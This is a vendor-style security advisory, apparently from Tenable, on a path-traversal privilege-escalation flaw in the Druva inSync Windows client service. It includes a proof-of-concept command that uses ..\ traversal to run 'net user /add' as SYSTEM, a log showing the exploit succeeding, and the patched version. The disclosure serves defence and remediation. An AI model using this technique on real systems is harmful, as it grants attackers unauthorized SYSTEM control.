Synopsis
The Windows Druva inSync Client Service (inSyncCPHwnet64.exe) contains a path traversal vulnerability that can be exploited by a local, unauthenticated attacker to execute OS commands with SYSTEM privileges. When processing RPC type 5 requests over TCP port 6064, inSyncCPHwnet64.exe does not properly validate request data prior to passing it to the CreateProcessW() function. By sending a crafted RPC request, an attacker can elevate privileges to SYSTEM.
Specifically, this vulnerability exists due to an incomplete patch for CVE-2019-3999. Input validation was implemented to ensure only executables existing in the C:\ProgramData\Druva\inSync4\ directory can be executed, but this logic can be bypassed by using ..\ to traverse the directory tree structure. Validation is passed because the executable path leads with C:\ProgramData\Druva\inSync4\.
Proof of Concept (PoC)
See GitHubdruva_win_cphwnet64.py has been provided to demonstrate proof of concept. The PoC will execute a command of your choosing. Below is an example invocation of the script.
python druva_win_cphwnet64.py "C:\ProgramData\Druva\inSync4\..\..\..\Windows\system32\net.exe user /add druvatest"
Below is a log entry in inSyncCPH.log showing a successful exploitation attempt. Notice that the command 'net user /add druvatest' was executed.
25/02/2020 06:37:36 :Got a request to create a process for sysstate. converted: 82, cmd: C:\ProgramData\Druva\inSync4\..\..\..\Windows\system32\net.exe user /add druvatest 25/02/2020 06:37:36 :The binary C:\ProgramData\Druva\inSync4\..\..\..\Windows\system32\net.exe user /add druvatest is from insync path - C:\ProgramData\Druva\inSync4\. Will execute it 25/02/2020 06:37:36 :Exit code for sysstate process is 0 and return value is 1
Solution
Upgrade to Druva inSync client version 6.6.4 or higher.Additional References
https://docs.druva.com/005_inSync_Client/inSync_Client_6.6.0_for_inSync_Cloud/000Release_Details/010_Release_Notes_for_inSync_Client_v6.6.0#inSync_Client_Patch_Update_v6.6.4_for_Windows_OShttps://www.mnemonic.no/blog/when-a-security-patch-introduces-a-0-day
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]